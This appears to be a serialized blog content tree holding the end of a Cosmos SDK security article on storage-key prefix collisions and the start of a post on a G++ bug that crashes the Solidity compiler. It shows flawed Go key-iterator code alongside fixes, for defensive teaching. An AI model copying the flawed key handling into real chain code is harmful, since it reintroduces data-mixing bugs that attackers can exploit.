rops":91027,"children":91028},{"style":5030},[91029],{"type":29,"value":83982},{"type":23,"tag":504,"props":91031,"children":91032},{"style":5058},[91033],{"type":29,"value":4367},{"type":23,"tag":504,"props":91035,"children":91036},{"style":5041},[91037],{"type":29,"value":85703},{"type":23,"tag":504,"props":91039,"children":91040},{"class":5016,"line":5851},[91041],{"type":23,"tag":504,"props":91042,"children":91043},{"style":5058},[91044],{"type":29,"value":5394},{"type":23,"tag":504,"props":91046,"children":91047},{"class":5016,"line":5859},[91048],{"type":23,"tag":504,"props":91049,"children":91050},{"emptyLinePlaceholder":15},[91051],{"type":29,"value":5734},{"type":23,"tag":504,"props":91053,"children":91054},{"class":5016,"line":5891},[91055,91059,91063,91067,91071,91075,91080,91084,91088,91093,91097,91101],{"type":23,"tag":504,"props":91056,"children":91057},{"style":5067},[91058],{"type":29,"value":5314},{"type":23,"tag":504,"props":91060,"children":91061},{"style":5041},[91062],{"type":29,"value":64704},{"type":23,"tag":504,"props":91064,"children":91065},{"style":5058},[91066],{"type":29,"value":4367},{"type":23,"tag":504,"props":91068,"children":91069},{"style":5041},[91070],{"type":29,"value":80831},{"type":23,"tag":504,"props":91072,"children":91073},{"style":5047},[91074],{"type":29,"value":78481},{"type":23,"tag":504,"props":91076,"children":91077},{"style":5041},[91078],{"type":29,"value":91079}," values",{"type":23,"tag":504,"props":91081,"children":91082},{"style":5058},[91083],{"type":29,"value":1380},{"type":23,"tag":504,"props":91085,"children":91086},{"style":5041},[91087],{"type":29,"value":87534},{"type":23,"tag":504,"props":91089,"children":91090},{"style":5058},[91091],{"type":29,"value":91092},"]; ",{"type":23,"tag":504,"props":91094,"children":91095},{"style":5047},[91096],{"type":29,"value":22674},{"type":23,"tag":504,"props":91098,"children":91099},{"style":5041},[91100],{"type":29,"value":80831},{"type":23,"tag":504,"props":91102,"children":91103},{"style":5058},[91104],{"type":29,"value":5333},{"type":23,"tag":504,"props":91106,"children":91107},{"class":5016,"line":5899},[91108,91113,91117,91121,91125,91129,91133,91137,91141,91145,91149],{"type":23,"tag":504,"props":91109,"children":91110},{"style":5041},[91111],{"type":29,"value":91112},"            values",{"type":23,"tag":504,"props":91114,"children":91115},{"style":5058},[91116],{"type":29,"value":1380},{"type":23,"tag":504,"props":91118,"children":91119},{"style":5041},[91120],{"type":29,"value":87534},{"type":23,"tag":504,"props":91122,"children":91123},{"style":5058},[91124],{"type":29,"value":10706},{"type":23,"tag":504,"props":91126,"children":91127},{"style":5047},[91128],{"type":29,"value":546},{"type":23,"tag":504,"props":91130,"children":91131},{"style":5139},[91132],{"type":29,"value":87627},{"type":23,"tag":504,"props":91134,"children":91135},{"style":5058},[91136],{"type":29,"value":603},{"type":23,"tag":504,"props":91138,"children":91139},{"style":5030},[91140],{"type":29,"value":69165},{"type":23,"tag":504,"props":91142,"children":91143},{"style":5058},[91144],{"type":29,"value":1380},{"type":23,"tag":504,"props":91146,"children":91147},{"style":5467},[91148],{"type":29,"value":87232},{"type":23,"tag":504,"props":91150,"children":91151},{"style":5058},[91152],{"type":29,"value":57502},{"type":23,"tag":504,"props":91154,"children":91155},{"class":5016,"line":5959},[91156],{"type":23,"tag":504,"props":91157,"children":91158},{"style":5058},[91159],{"type":29,"value":5394},{"type":23,"tag":504,"props":91161,"children":91162},{"class":5016,"line":11093},[91163],{"type":23,"tag":504,"props":91164,"children":91165},{"emptyLinePlaceholder":15},[91166],{"type":29,"value":5734},{"type":23,"tag":504,"props":91168,"children":91169},{"class":5016,"line":11111},[91170,91175,91179,91183,91187,91191,91195,91199,91203],{"type":23,"tag":504,"props":91171,"children":91172},{"style":5041},[91173],{"type":29,"value":91174},"        values",{"type":23,"tag":504,"props":91176,"children":91177},{"style":5058},[91178],{"type":29,"value":1380},{"type":23,"tag":504,"props":91180,"children":91181},{"style":5041},[91182],{"type":29,"value":87534},{"type":23,"tag":504,"props":91184,"children":91185},{"style":5058},[91186],{"type":29,"value":51021},{"type":23,"tag":504,"props":91188,"children":91189},{"style":5041},[91190],{"type":29,"value":87803},{"type":23,"tag":504,"props":91192,"children":91193},{"style":5058},[91194],{"type":29,"value":10706},{"type":23,"tag":504,"props":91196,"children":91197},{"style":5047},[91198],{"type":29,"value":546},{"type":23,"tag":504,"props":91200,"children":91201},{"style":5041},[91202],{"type":29,"value":9469},{"type":23,"tag":504,"props":91204,"children":91205},{"style":5058},[91206],{"type":29,"value":5333},{"type":23,"tag":504,"props":91208,"children":91209},{"class":5016,"line":11156},[91210,91214,91218,91223,91227,91232],{"type":23,"tag":504,"props":91211,"children":91212},{"style":5041},[91213],{"type":29,"value":29004},{"type":23,"tag":504,"props":91215,"children":91216},{"style":5058},[91217],{"type":29,"value":17378},{"type":23,"tag":504,"props":91219,"children":91220},{"style":5041},[91221],{"type":29,"value":91222},"iterator",{"type":23,"tag":504,"props":91224,"children":91225},{"style":5058},[91226],{"type":29,"value":357},{"type":23,"tag":504,"props":91228,"children":91229},{"style":5139},[91230],{"type":29,"value":91231},"Value",{"type":23,"tag":504,"props":91233,"children":91234},{"style":5058},[91235],{"type":29,"value":5540},{"type":23,"tag":504,"props":91237,"children":91238},{"class":5016,"line":11262},[91239],{"type":23,"tag":504,"props":91240,"children":91241},{"style":5058},[91242],{"type":29,"value":5394},{"type":23,"tag":504,"props":91244,"children":91245},{"class":5016,"line":25550},[91246],{"type":23,"tag":504,"props":91247,"children":91248},{"style":5058},[91249],{"type":29,"value":5403},{"type":23,"tag":504,"props":91251,"children":91252},{"class":5016,"line":25585},[91253,91257],{"type":23,"tag":504,"props":91254,"children":91255},{"style":5067},[91256],{"type":29,"value":19037},{"type":23,"tag":504,"props":91258,"children":91259},{"style":5041},[91260],{"type":29,"value":91261}," values\n",{"type":23,"tag":504,"props":91263,"children":91264},{"class":5016,"line":25593},[91265],{"type":23,"tag":504,"props":91266,"children":91267},{"style":5058},[91268],{"type":29,"value":5965},{"type":23,"tag":32,"props":91270,"children":91271},{},[91272,91274,91280,91281,91287,91289,91294,91296,91301,91303,91308,91310,91316,91318,91324],{"type":29,"value":91273},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":154,"props":91275,"children":91277},{"className":91276},[],[91278],{"type":29,"value":91279},"vaultId = 1",{"type":29,"value":4478},{"type":23,"tag":154,"props":91282,"children":91284},{"className":91283},[],[91285],{"type":29,"value":91286},"vaultId = 10",{"type":29,"value":91288}," coexist. If we try to fetch data under ",{"type":23,"tag":154,"props":91290,"children":91292},{"className":91291},[],[91293],{"type":29,"value":91279},{"type":29,"value":91295},", all entries under ",{"type":23,"tag":154,"props":91297,"children":91299},{"className":91298},[],[91300],{"type":29,"value":91286},{"type":29,"value":91302}," will also be returned simply because ",{"type":23,"tag":154,"props":91304,"children":91306},{"className":91305},[],[91307],{"type":29,"value":826},{"type":29,"value":91309}," is a prefix of ",{"type":23,"tag":154,"props":91311,"children":91313},{"className":91312},[],[91314],{"type":29,"value":91315},"10",{"type":29,"value":91317},". To fix this, we must once again append the ",{"type":23,"tag":154,"props":91319,"children":91321},{"className":91320},[],[91322],{"type":29,"value":91323},"Separator",{"type":29,"value":91325}," to the iterator prefix.",{"type":23,"tag":4743,"props":91327,"children":91329},{"code":91328,"language":78229,"meta":7,"className":78230,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[91330],{"type":23,"tag":154,"props":91331,"children":91332},{"__ignoreMap":7},[91333,91360,91372,91425],{"type":23,"tag":504,"props":91334,"children":91335},{"class":5016,"line":5017},[91336,91340,91344,91348,91352,91356],{"type":23,"tag":504,"props":91337,"children":91338},{"style":5041},[91339],{"type":29,"value":578},{"type":23,"tag":504,"props":91341,"children":91342},{"style":5047},[91343],{"type":29,"value":78481},{"type":23,"tag":504,"props":91345,"children":91346},{"style":5041},[91347],{"type":29,"value":80705},{"type":23,"tag":504,"props":91349,"children":91350},{"style":5058},[91351],{"type":29,"value":357},{"type":23,"tag":504,"props":91353,"children":91354},{"style":5139},[91355],{"type":29,"value":90519},{"type":23,"tag":504,"props":91357,"children":91358},{"style":5058},[91359],{"type":29,"value":5512},{"type":23,"tag":504,"props":91361,"children":91362},{"class":5016,"line":4868},[91363,91368],{"type":23,"tag":504,"props":91364,"children":91365},{"style":5041},[91366],{"type":29,"value":91367},"    kvStore",{"type":23,"tag":504,"props":91369,"children":91370},{"style":5058},[91371],{"type":29,"value":5557},{"type":23,"tag":504,"props":91373,"children":91374},{"class":5016,"line":4876},[91375,91380,91384,91388,91392,91397,91401,91405,91409,91413,91417,91421],{"type":23,"tag":504,"props":91376,"children":91377},{"style":5041},[91378],{"type":29,"value":91379},"    fmt",{"type":23,"tag":504,"props":91381,"children":91382},{"style":5058},[91383],{"type":29,"value":357},{"type":23,"tag":504,"props":91385,"children":91386},{"style":5139},[91387],{"type":29,"value":87286},{"type":23,"tag":504,"props":91389,"children":91390},{"style":5058},[91391],{"type":29,"value":603},{"type":23,"tag":504,"props":91393,"children":91394},{"style":6297},[91395],{"type":29,"value":91396},"\"%s%d%s\"",{"type":23,"tag":504,"props":91398,"children":91399},{"style":5058},[91400],{"type":29,"value":4367},{"type":23,"tag":504,"props":91402,"children":91403},{"style":5041},[91404],{"type":29,"value":90569},{"type":23,"tag":504,"props":91406,"children":91407},{"style":5058},[91408],{"type":29,"value":4367},{"type":23,"tag":504,"props":91410,"children":91411},{"style":5041},[91412],{"type":29,"value":90354},{"type":23,"tag":504,"props":91414,"children":91415},{"style":5058},[91416],{"type":29,"value":4367},{"type":23,"tag":504,"props":91418,"children":91419},{"style":5041},[91420],{"type":29,"value":90685},{"type":23,"tag":504,"props":91422,"children":91423},{"style":5058},[91424],{"type":29,"value":8780},{"type":23,"tag":504,"props":91426,"children":91427},{"class":5016,"line":5099},[91428],{"type":23,"tag":504,"props":91429,"children":91430},{"style":5058},[91431],{"type":29,"value":5200},{"type":23,"tag":32,"props":91433,"children":91434},{},[91435,91437,91442],{"type":29,"value":91436},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":154,"props":91438,"children":91440},{"className":91439},[],[91441],{"type":29,"value":87040},{"type":29,"value":91443}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":32,"props":91445,"children":91446},{},[91447],{"type":29,"value":91448},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":320,"props":91450,"children":91452},{"id":91451},"real-world-examples-5",[91453],{"type":29,"value":78754},{"type":23,"tag":32,"props":91455,"children":91456},{},[91457,91458,91463,91465,91472,91474,91480],{"type":29,"value":18661},{"type":23,"tag":154,"props":91459,"children":91461},{"className":91460},[],[91462],{"type":29,"value":80526},{"type":29,"value":91464}," previously lacked protection against KVStore ",{"type":23,"tag":68,"props":91466,"children":91469},{"href":91467,"rel":91468},"https://github.com/cosmos/cosmos-sdk/pull/9363",[72],[91470],{"type":29,"value":91471},"key collisions",{"type":29,"value":91473},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":154,"props":91475,"children":91477},{"className":91476},[],[91478],{"type":29,"value":91479},"KVStores",{"type":29,"value":91481}," that were not independent of each other.",{"type":23,"tag":32,"props":91483,"children":91484},{},[91485],{"type":23,"tag":68,"props":91486,"children":91489},{"href":91487,"rel":91488},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[72],[91490],{"type":29,"value":78804},{"type":23,"tag":4743,"props":91492,"children":91494},{"code":91493,"language":78229,"meta":7,"className":78230,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[91495],{"type":23,"tag":154,"props":91496,"children":91497},{"__ignoreMap":7},[91498,91560,91608,91644,91684,91691,91698,91710],{"type":23,"tag":504,"props":91499,"children":91500},{"class":5016,"line":5017},[91501,91505,91510,91514,91519,91523,91527,91531,91535,91539,91543,91547,91551,91556],{"type":23,"tag":504,"props":91502,"children":91503},{"style":5030},[91504],{"type":29,"value":78365},{"type":23,"tag":504,"props":91506,"children":91507},{"style":5139},[91508],{"type":29,"value":91509}," NewKVStoreKeys",{"type":23,"tag":504,"props":91511,"children":91512},{"style":5058},[91513],{"type":29,"value":603},{"type":23,"tag":504,"props":91515,"children":91516},{"style":5041},[91517],{"type":29,"value":91518},"names",{"type":23,"tag":504,"props":91520,"children":91521},{"style":5047},[91522],{"type":29,"value":27352},{"type":23,"tag":504,"props":91524,"children":91525},{"style":5467},[91526],{"type":29,"value":31721},{"type":23,"tag":504,"props":91528,"children":91529},{"style":5058},[91530],{"type":29,"value":5128},{"type":23,"tag":504,"props":91532,"children":91533},{"style":5030},[91534],{"type":29,"value":69165},{"type":23,"tag":504,"props":91536,"children":91537},{"style":5058},[91538],{"type":29,"value":1380},{"type":23,"tag":504,"props":91540,"children":91541},{"style":5467},[91542],{"type":29,"value":31721},{"type":23,"tag":504,"props":91544,"children":91545},{"style":5058},[91546],{"type":29,"value":1422},{"type":23,"tag":504,"props":91548,"children":91549},{"style":5047},[91550],{"type":29,"value":6613},{"type":23,"tag":504,"props":91552,"children":91553},{"style":5467},[91554],{"type":29,"value":91555},"KVStoreKey",{"type":23,"tag":504,"props":91557,"children":91558},{"style":5058},[91559],{"type":29,"value":5333},{"type":23,"tag":504,"props":91561,"children":91562},{"class":5016,"line":4868},[91563,91568,91572,91576,91580,91584,91588,91592,91596,91600,91604],{"type":23,"tag":504,"props":91564,"children":91565},{"style":5041},[91566],{"type":29,"value":91567},"    keys",{"type":23,"tag":504,"props":91569,"children":91570},{"style":5047},[91571],{"type":29,"value":78481},{"type":23,"tag":504,"props":91573,"children":91574},{"style":5139},[91575],{"type":29,"value":87627},{"type":23,"tag":504,"props":91577,"children":91578},{"style":5058},[91579],{"type":29,"value":603},{"type":23,"tag":504,"props":91581,"children":91582},{"style":5030},[91583],{"type":29,"value":69165},{"type":23,"tag":504,"props":91585,"children":91586},{"style":5058},[91587],{"type":29,"value":1380},{"type":23,"tag":504,"props":91589,"children":91590},{"style":5467},[91591],{"type":29,"value":31721},{"type":23,"tag":504,"props":91593,"children":91594},{"style":5058},[91595],{"type":29,"value":1422},{"type":23,"tag":504,"props":91597,"children":91598},{"style":5047},[91599],{"type":29,"value":6613},{"type":23,"tag":504,"props":91601,"children":91602},{"style":5467},[91603],{"type":29,"value":91555},{"type":23,"tag":504,"props":91605,"children":91606},{"style":5058},[91607],{"type":29,"value":5200},{"type":23,"tag":504,"props":91609,"children":91610},{"class":5016,"line":4876},[91611,91615,91619,91623,91627,91631,91635,91640],{"type":23,"tag":504,"props":91612,"children":91613},{"style":5067},[91614],{"type":29,"value":5070},{"type":23,"tag":504,"props":91616,"children":91617},{"style":5041},[91618],{"type":29,"value":5075},{"type":23,"tag":504,"props":91620,"children":91621},{"style":5058},[91622],{"type":29,"value":4367},{"type":23,"tag":504,"props":91624,"children":91625},{"style":5041},[91626],{"type":29,"value":50561},{"type":23,"tag":504,"props":91628,"children":91629},{"style":5047},[91630],{"type":29,"value":78481},{"type":23,"tag":504,"props":91632,"children":91633},{"style":5067},[91634],{"type":29,"value":79463},{"type":23,"tag":504,"props":91636,"children":91637},{"style":5041},[91638],{"type":29,"value":91639}," names",{"type":23,"tag":504,"props":91641,"children":91642},{"style":5058},[91643],{"type":29,"value":5333},{"type":23,"tag":504,"props":91645,"children":91646},{"class":5016,"line":5099},[91647,91651,91655,91659,91663,91667,91672,91676,91680],{"type":23,"tag":504,"props":91648,"children":91649},{"style":5041},[91650],{"type":29,"value":27384},{"type":23,"tag":504,"props":91652,"children":91653},{"style":5058},[91654],{"type":29,"value":1380},{"type":23,"tag":504,"props":91656,"children":91657},{"style":5041},[91658],{"type":29,"value":50561},{"type":23,"tag":504,"props":91660,"children":91661},{"style":5058},[91662],{"type":29,"value":10706},{"type":23,"tag":504,"props":91664,"children":91665},{"style":5047},[91666],{"type":29,"value":546},{"type":23,"tag":504,"props":91668,"children":91669},{"style":5139},[91670],{"type":29,"value":91671}," NewKVStoreKey",{"type":23,"tag":504,"props":91673,"children":91674},{"style":5058},[91675],{"type":29,"value":603},{"type":23,"tag":504,"props":91677,"children":91678},{"style":5041},[91679],{"type":29,"value":50561},{"type":23,"tag":504,"props":91681,"children":91682},{"style":5058},[91683],{"type":29,"value":5200},{"type":23,"tag":504,"props":91685,"children":91686},{"class":5016,"line":5203},[91687],{"type":23,"tag":504,"props":91688,"children":91689},{"style":5058},[91690],{"type":29,"value":5403},{"type":23,"tag":504,"props":91692,"children":91693},{"class":5016,"line":5308},[91694],{"type":23,"tag":504,"props":91695,"children":91696},{"emptyLinePlaceholder":15},[91697],{"type":29,"value":5734},{"type":23,"tag":504,"props":91699,"children":91700},{"class":5016,"line":5336},[91701,91705],{"type":23,"tag":504,"props":91702,"children":91703},{"style":5067},[91704],{"type":29,"value":19037},{"type":23,"tag":504,"props":91706,"children":91707},{"style":5041},[91708],{"type":29,"value":91709}," keys\n",{"type":23,"tag":504,"props":91711,"children":91712},{"class":5016,"line":5349},[91713],{"type":23,"tag":504,"props":91714,"children":91715},{"style":5058},[91716],{"type":29,"value":5965},{"type":23,"tag":32,"props":91718,"children":91719},{},[91720,91722,91727,91729,91734,91736,91741],{"type":29,"value":91721},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":154,"props":91723,"children":91725},{"className":91724},[],[91726],{"type":29,"value":80526},{"type":29,"value":91728}," will refuse to run if any ",{"type":23,"tag":154,"props":91730,"children":91732},{"className":91731},[],[91733],{"type":29,"value":87040},{"type":29,"value":91735}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":154,"props":91737,"children":91739},{"className":91738},[],[91740],{"type":29,"value":87040},{"type":29,"value":91742}," level.",{"type":23,"tag":32,"props":91744,"children":91745},{},[91746,91748,91755],{"type":29,"value":91747},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":68,"props":91749,"children":91752},{"href":91750,"rel":91751},"https://github.com/cosmos/cosmos-sdk/issues/12661",[72],[91753],{"type":29,"value":91754},"incorrect iterator behavior",{"type":29,"value":357},{"type":23,"tag":32,"props":91757,"children":91758},{},[91759,91761,91768],{"type":29,"value":91760},"Notably, gradual adoption of the ",{"type":23,"tag":68,"props":91762,"children":91765},{"href":91763,"rel":91764},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[72],[91766],{"type":29,"value":91767},"collections",{"type":29,"value":91769}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":24,"props":91771,"children":91772},{"id":4832},[91773],{"type":29,"value":4835},{"type":23,"tag":32,"props":91775,"children":91776},{},[91777],{"type":29,"value":91778},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":32,"props":91780,"children":91781},{},[91782],{"type":29,"value":91783},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":7410,"props":91785,"children":91786},{},[91787],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":91789},[91790,91791,91794,91797,91800,91803,91806,91809],{"id":31069,"depth":4868,"text":31072},{"id":77946,"depth":4868,"text":77949,"children":91792},[91793],{"id":78751,"depth":4876,"text":78754},{"id":79346,"depth":4868,"text":79349,"children":91795},[91796],{"id":79995,"depth":4876,"text":78754},{"id":80492,"depth":4868,"text":80495,"children":91798},[91799],{"id":81792,"depth":4876,"text":78754},{"id":83136,"depth":4868,"text":83139,"children":91801},[91802],{"id":83674,"depth":4876,"text":78754},{"id":85193,"depth":4868,"text":85196,"children":91804},[91805],{"id":86073,"depth":4876,"text":78754},{"id":87026,"depth":4868,"text":87029,"children":91807},[91808],{"id":91451,"depth":4876,"text":78754},{"id":4832,"depth":4868,"text":4835},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":91814,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91815,"description":91816,"author":91817,"image":91818,"date":91820,"tags":91821,"isFeatured":15,"onBlogPage":15,"body":91822,"_type":4892,"_id":94531,"_source":4894,"_file":94532,"_stem":94533,"_extension":4897},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":91819,"height":14,"width":14},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[6515,31064],{"type":20,"children":91823,"toc":94515},[91824,91829,91966,91971,91976,91981,91986,92099,92104,92109,92114,92154,92167,92172,92190,92195,92198,92204,92218,92231,92236,92249,92254,92266,92279,92284,92287,92293,92299,92356,92361,92367,92381,92416,92424,92432,92452,92458,92463,92903,92911,92955,92960,92968,92976,93015,93020,93028,93033,93036,93042,93048,93073,93085,93112,93145,93150,93153,93159,93178,93696,93709,93727,93750,93761,93766,93869,93874,93879,93893,93898,93974,93992,93997,94000,94006,94018,94030,94370,94375,94393,94398,94401,94407,94412,94430,94450,94453,94459,94478,94481,94485,94490,94501,94506,94511],{"type":23,"tag":32,"props":91825,"children":91826},{},[91827],{"type":29,"value":91828},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":4743,"props":91830,"children":91832},{"code":91831,"language":6515,"meta":7,"className":6516,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[91833],{"type":23,"tag":154,"props":91834,"children":91835},{"__ignoreMap":7},[91836,91844,91862,91869,91886,91928,91952,91959],{"type":23,"tag":504,"props":91837,"children":91838},{"class":5016,"line":5017},[91839],{"type":23,"tag":504,"props":91840,"children":91841},{"style":5021},[91842],{"type":29,"value":91843},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":504,"props":91845,"children":91846},{"class":5016,"line":4868},[91847,91852,91857],{"type":23,"tag":504,"props":91848,"children":91849},{"style":5067},[91850],{"type":29,"value":91851},"pragma",{"type":23,"tag":504,"props":91853,"children":91854},{"style":5030},[91855],{"type":29,"value":91856}," solidity",{"type":23,"tag":504,"props":91858,"children":91859},{"style":5058},[91860],{"type":29,"value":91861}," ^0.8.25;\n",{"type":23,"tag":504,"props":91863,"children":91864},{"class":5016,"line":4876},[91865],{"type":23,"tag":504,"props":91866,"children":91867},{"emptyLinePlaceholder":15},[91868],{"type":29,"value":5734},{"type":23,"tag":504,"props":91870,"children":91871},{"class":5016,"line":5099},[91872,91877,91882],{"type":23,"tag":504,"props":91873,"children":91874},{"style":5030},[91875],{"type":29,"value":91876},"contract",{"type":23,"tag":504,"props":91878,"children":91879},{"style":5467},[91880],{"type":29,"value":91881}," A",{"type":23,"tag":504,"props":91883,"children":91884},{"style":5058},[91885],{"type":29,"value":5333},{"type":23,"tag":504,"props":91887,"children":91888},{"class":5016,"line":5203},[91889,91894,91899,91903,91907,91912,91916,91920,91924],{"type":23,"tag":504,"props":91890,"children":91891},{"style":5030},[91892],{"type":29,"value":91893},"    function",{"type":23,"tag":504,"props":91895,"children":91896},{"style":5139},[91897],{"type":29,"value":91898}," a",{"type":23,"tag":504,"props":91900,"children":91901},{"style":5058},[91902],{"type":29,"value":16089},{"type":23,"tag":504,"props":91904,"children":91905},{"style":5030},[91906],{"type":29,"value":63737},{"type":23,"tag":504,"props":91908,"children":91909},{"style":5030},[91910],{"type":29,"value":91911}," pure",{"type":23,"tag":504,"props":91913,"children":91914},{"style":5067},[91915],{"type":29,"value":78058},{"type":23,"tag":504,"props":91917,"children":91918},{"style":5058},[91919],{"type":29,"value":5110},{"type":23,"tag":504,"props":91921,"children":91922},{"style":5467},[91923],{"type":29,"value":48230},{"type":23,"tag":504,"props":91925,"children":91926},{"style":5058},[91927],{"type":29,"value":16850},{"type":23,"tag":504,"props":91929,"children":91930},{"class":5016,"line":5308},[91931,91935,91939,91944,91948],{"type":23,"tag":504,"props":91932,"children":91933},{"style":5067},[91934],{"type":29,"value":17791},{"type":23,"tag":504,"props":91936,"children":91937},{"style":5083},[91938],{"type":29,"value":6565},{"type":23,"tag":504,"props":91940,"children":91941},{"style":5047},[91942],{"type":29,"value":91943}," **",{"type":23,"tag":504,"props":91945,"children":91946},{"style":5083},[91947],{"type":29,"value":9979},{"type":23,"tag":504,"props":91949,"children":91950},{"style":5058},[91951],{"type":29,"value":5061},{"type":23,"tag":504,"props":91953,"children":91954},{"class":5016,"line":5336},[91955],{"type":23,"tag":504,"props":91956,"children":91957},{"style":5058},[91958],{"type":29,"value":5403},{"type":23,"tag":504,"props":91960,"children":91961},{"class":5016,"line":5349},[91962],{"type":23,"tag":504,"props":91963,"children":91964},{"style":5058},[91965],{"type":29,"value":5965},{"type":23,"tag":32,"props":91967,"children":91968},{},[91969],{"type":29,"value":91970},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":32,"props":91972,"children":91973},{},[91974],{"type":29,"value":91975},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":32,"props":91977,"children":91978},{},[91979],{"type":29,"value":91980},"And yet, it crashes.",{"type":23,"tag":32,"props":91982,"children":91983},{},[91984],{"type":29,"value":91985},"Another minimal example?",{"type":23,"tag":4743,"props":91987,"children":91989},{"code":91988,"language":6515,"meta":7,"className":6516,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[91990],{"type":23,"tag":154,"props":91991,"children":91992},{"__ignoreMap":7},[91993,92000,92015,92022,92037,92064,92085,92092],{"type":23,"tag":504,"props":91994,"children":91995},{"class":5016,"line":5017},[91996],{"type":23,"tag":504,"props":91997,"children":91998},{"style":5021},[91999],{"type":29,"value":91843},{"type":23,"tag":504,"props":92001,"children":92002},{"class":5016,"line":4868},[92003,92007,92011],{"type":23,"tag":504,"props":92004,"children":92005},{"style":5067},[92006],{"type":29,"value":91851},{"type":23,"tag":504,"props":92008,"children":92009},{"style":5030},[92010],{"type":29,"value":91856},{"type":23,"tag":504,"props":92012,"children":92013},{"style":5058},[92014],{"type":29,"value":91861},{"type":23,"tag":504,"props":92016,"children":92017},{"class":5016,"line":4876},[92018],{"type":23,"tag":504,"props":92019,"children":92020},{"emptyLinePlaceholder":15},[92021],{"type":29,"value":5734},{"type":23,"tag":504,"props":92023,"children":92024},{"class":5016,"line":5099},[92025,92029,92033],{"type":23,"tag":504,"props":92026,"children":92027},{"style":5030},[92028],{"type":29,"value":91876},{"type":23,"tag":504,"props":92030,"children":92031},{"style":5467},[92032],{"type":29,"value":91881},{"type":23,"tag":504,"props":92034,"children":92035},{"style":5058},[92036],{"type":29,"value":5333},{"type":23,"tag":504,"props":92038,"children":92039},{"class":5016,"line":5203},[92040,92044,92048,92052,92056,92060],{"type":23,"tag":504,"props":92041,"children":92042},{"style":5030},[92043],{"type":29,"value":91893},{"type":23,"tag":504,"props":92045,"children":92046},{"style":5139},[92047],{"type":29,"value":91898},{"type":23,"tag":504,"props":92049,"children":92050},{"style":5058},[92051],{"type":29,"value":16089},{"type":23,"tag":504,"props":92053,"children":92054},{"style":5030},[92055],{"type":29,"value":63737},{"type":23,"tag":504,"props":92057,"children":92058},{"style":5030},[92059],{"type":29,"value":91911},{"type":23,"tag":504,"props":92061,"children":92062},{"style":5058},[92063],{"type":29,"value":5333},{"type":23,"tag":504,"props":92065,"children":92066},{"class":5016,"line":5308},[92067,92072,92076,92080],{"type":23,"tag":504,"props":92068,"children":92069},{"style":5467},[92070],{"type":29,"value":92071},"        uint256",{"type":23,"tag":504,"props":92073,"children":92074},{"style":5058},[92075],{"type":29,"value":1380},{"type":23,"tag":504,"props":92077,"children":92078},{"style":5083},[92079],{"type":29,"value":826},{"type":23,"tag":504,"props":92081,"children":92082},{"style":5058},[92083],{"type":29,"value":92084},"] data;\n",{"type":23,"tag":504,"props":92086,"children":92087},{"class":5016,"line":5336},[92088],{"type":23,"tag":504,"props":92089,"children":92090},{"style":5058},[92091],{"type":29,"value":5403},{"type":23,"tag":504,"props":92093,"children":92094},{"class":5016,"line":5349},[92095],{"type":23,"tag":504,"props":92096,"children":92097},{"style":5058},[92098],{"type":29,"value":5965},{"type":23,"tag":32,"props":92100,"children":92101},{},[92102],{"type":29,"value":92103},"Still crashes.",{"type":23,"tag":32,"props":92105,"children":92106},{},[92107],{"type":29,"value":92108},"So what’s going on?",{"type":23,"tag":32,"props":92110,"children":92111},{},[92112],{"type":29,"value":92113},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":4743,"props":92115,"children":92117},{"code":92116,"language":31166,"meta":7,"className":31164,"style":7},"if (*lengthValue == 0) { ... 